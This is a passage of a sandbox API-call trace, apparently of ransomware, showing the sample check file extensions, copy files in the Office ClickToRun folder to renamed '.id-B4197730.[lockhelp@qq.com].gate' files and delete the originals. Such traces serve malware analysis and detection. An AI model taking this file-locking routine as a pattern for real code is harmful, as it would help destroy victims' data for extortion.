lpString2=".dll") returned 1 [0320.020] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.020] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0320.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.020] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1295576) returned 1 [0320.021] CloseHandle (hObject=0x364) returned 1 [0320.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0320.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0320.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.021] lstrlenW (lpString=".doc") returned 4 [0320.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString=".docx") returned 5 [0320.021] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0320.021] lstrlenW (lpString=".pdf") returned 4 [0320.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString=".xls") returned 4 [0320.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString=".xlsx") returned 5 [0320.021] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0320.021] lstrlenW (lpString=".ppt") returned 4 [0320.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.021] lstrlenW (lpString=".zip") returned 4 [0320.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString=".rar") returned 4 [0320.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.021] lstrlenW (lpString=".bz2") returned 4 [0320.021] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.021] lstrlenW (lpString=".7z") returned 3 [0320.021] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".dbf") returned 4 [0320.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".1cd") returned 4 [0320.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".jpg") returned 4 [0320.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".doc") returned 4 [0320.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString=".docx") returned 5 [0320.022] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0320.022] lstrlenW (lpString=".pdf") returned 4 [0320.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString=".xls") returned 4 [0320.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString=".xlsx") returned 5 [0320.022] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0320.022] lstrlenW (lpString=".ppt") returned 4 [0320.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".zip") returned 4 [0320.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString=".rar") returned 4 [0320.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.022] lstrlenW (lpString=".bz2") returned 4 [0320.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.022] lstrlenW (lpString=".7z") returned 3 [0320.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.022] lstrlenW (lpString=".dbf") returned 4 [0320.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.023] lstrlenW (lpString=".1cd") returned 4 [0320.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0320.023] lstrlenW (lpString=".jpg") returned 4 [0320.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.023] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.023] lstrlenW (lpString="AppVScripting.dll") returned 17 [0320.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.023] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=512216) returned 1 [0320.023] CloseHandle (hObject=0x364) returned 1 [0320.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0320.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.023] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.024] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.024] GetLastError () returned 0x0 [0320.024] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0320.273] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0320.280] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.280] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0320.280] SetEndOfFile (hFile=0x368) returned 1 [0320.281] CloseHandle (hObject=0x368) returned 1 [0320.281] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.281] SetEndOfFile (hFile=0x364) returned 1 [0320.285] CloseHandle (hObject=0x364) returned 1 [0320.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0320.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString=".doc") returned 4 [0320.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString=".docx") returned 5 [0320.286] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0320.286] lstrlenW (lpString=".pdf") returned 4 [0320.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString=".xls") returned 4 [0320.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString=".xlsx") returned 5 [0320.286] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0320.286] lstrlenW (lpString=".ppt") returned 4 [0320.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString=".zip") returned 4 [0320.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString=".rar") returned 4 [0320.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.286] lstrlenW (lpString=".bz2") returned 4 [0320.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.286] lstrlenW (lpString=".7z") returned 3 [0320.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString=".dbf") returned 4 [0320.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString=".1cd") returned 4 [0320.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.286] lstrlenW (lpString=".jpg") returned 4 [0320.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString=".doc") returned 4 [0320.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString=".docx") returned 5 [0320.287] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0320.287] lstrlenW (lpString=".pdf") returned 4 [0320.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString=".xls") returned 4 [0320.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString=".xlsx") returned 5 [0320.287] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0320.287] lstrlenW (lpString=".ppt") returned 4 [0320.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString=".zip") returned 4 [0320.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString=".rar") returned 4 [0320.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.287] lstrlenW (lpString=".bz2") returned 4 [0320.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.287] lstrlenW (lpString=".7z") returned 3 [0320.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString=".dbf") returned 4 [0320.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString=".1cd") returned 4 [0320.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0320.287] lstrlenW (lpString=".jpg") returned 4 [0320.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.288] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0320.288] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0320.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.288] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=263896) returned 1 [0320.288] CloseHandle (hObject=0x364) returned 1 [0320.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0320.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.289] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.289] GetLastError () returned 0x0 [0320.289] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0320.399] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0320.405] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.405] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xf4, lpOverlapped=0x0) returned 1 [0320.405] SetEndOfFile (hFile=0x368) returned 1 [0320.405] CloseHandle (hObject=0x368) returned 1 [0320.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.406] SetEndOfFile (hFile=0x364) returned 1 [0320.409] CloseHandle (hObject=0x364) returned 1 [0320.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.409] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0320.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.410] lstrlenW (lpString=".doc") returned 4 [0320.410] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0320.410] lstrlenW (lpString=".docx") returned 5 [0320.410] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0320.410] lstrlenW (lpString=".pdf") returned 4 [0320.410] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0320.410] lstrlenW (lpString=".xls") returned 4 [0320.410] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0320.410] lstrlenW (lpString=".xlsx") returned 5 [0320.410] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0320.410] lstrlenW (lpString=".ppt") returned 4 [0320.410] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0320.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.410] lstrlenW (lpString=".zip") returned 4 [0320.410] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0320.410] lstrlenW (lpString=".rar") returned 4 [0320.410] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0320.410] lstrlenW (lpString=".bz2") returned 4 [0320.410] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0320.410] lstrlenW (lpString=".7z") returned 3 [0320.410] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0320.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.410] lstrlenW (lpString=".dbf") returned 4 [0320.410] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0320.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.410] lstrlenW (lpString=".1cd") returned 4 [0320.411] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0320.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.411] lstrlenW (lpString=".jpg") returned 4 [0320.411] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.411] lstrlenW (lpString=".doc") returned 4 [0320.411] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0320.411] lstrlenW (lpString=".docx") returned 5 [0320.411] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0320.411] lstrlenW (lpString=".pdf") returned 4 [0320.411] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString=".xls") returned 4 [0320.411] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString=".xlsx") returned 5 [0320.411] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0320.411] lstrlenW (lpString=".ppt") returned 4 [0320.411] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.411] lstrlenW (lpString=".zip") returned 4 [0320.411] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString=".rar") returned 4 [0320.411] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0320.411] lstrlenW (lpString=".bz2") returned 4 [0320.411] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0320.412] lstrlenW (lpString=".7z") returned 3 [0320.412] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0320.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.412] lstrlenW (lpString=".dbf") returned 4 [0320.412] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0320.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.412] lstrlenW (lpString=".1cd") returned 4 [0320.412] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0320.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0320.412] lstrlenW (lpString=".jpg") returned 4 [0320.412] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0320.412] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.412] lstrlenW (lpString="C2R32.dll") returned 9 [0320.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.413] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=820416) returned 1 [0320.413] CloseHandle (hObject=0x364) returned 1 [0320.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0320.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.413] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.413] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.414] GetLastError () returned 0x0 [0320.414] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0320.816] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0320.828] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.828] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1 [0320.828] SetEndOfFile (hFile=0x368) returned 1 [0320.828] CloseHandle (hObject=0x368) returned 1 [0320.829] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.829] SetEndOfFile (hFile=0x364) returned 1 [0320.835] CloseHandle (hObject=0x364) returned 1 [0320.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 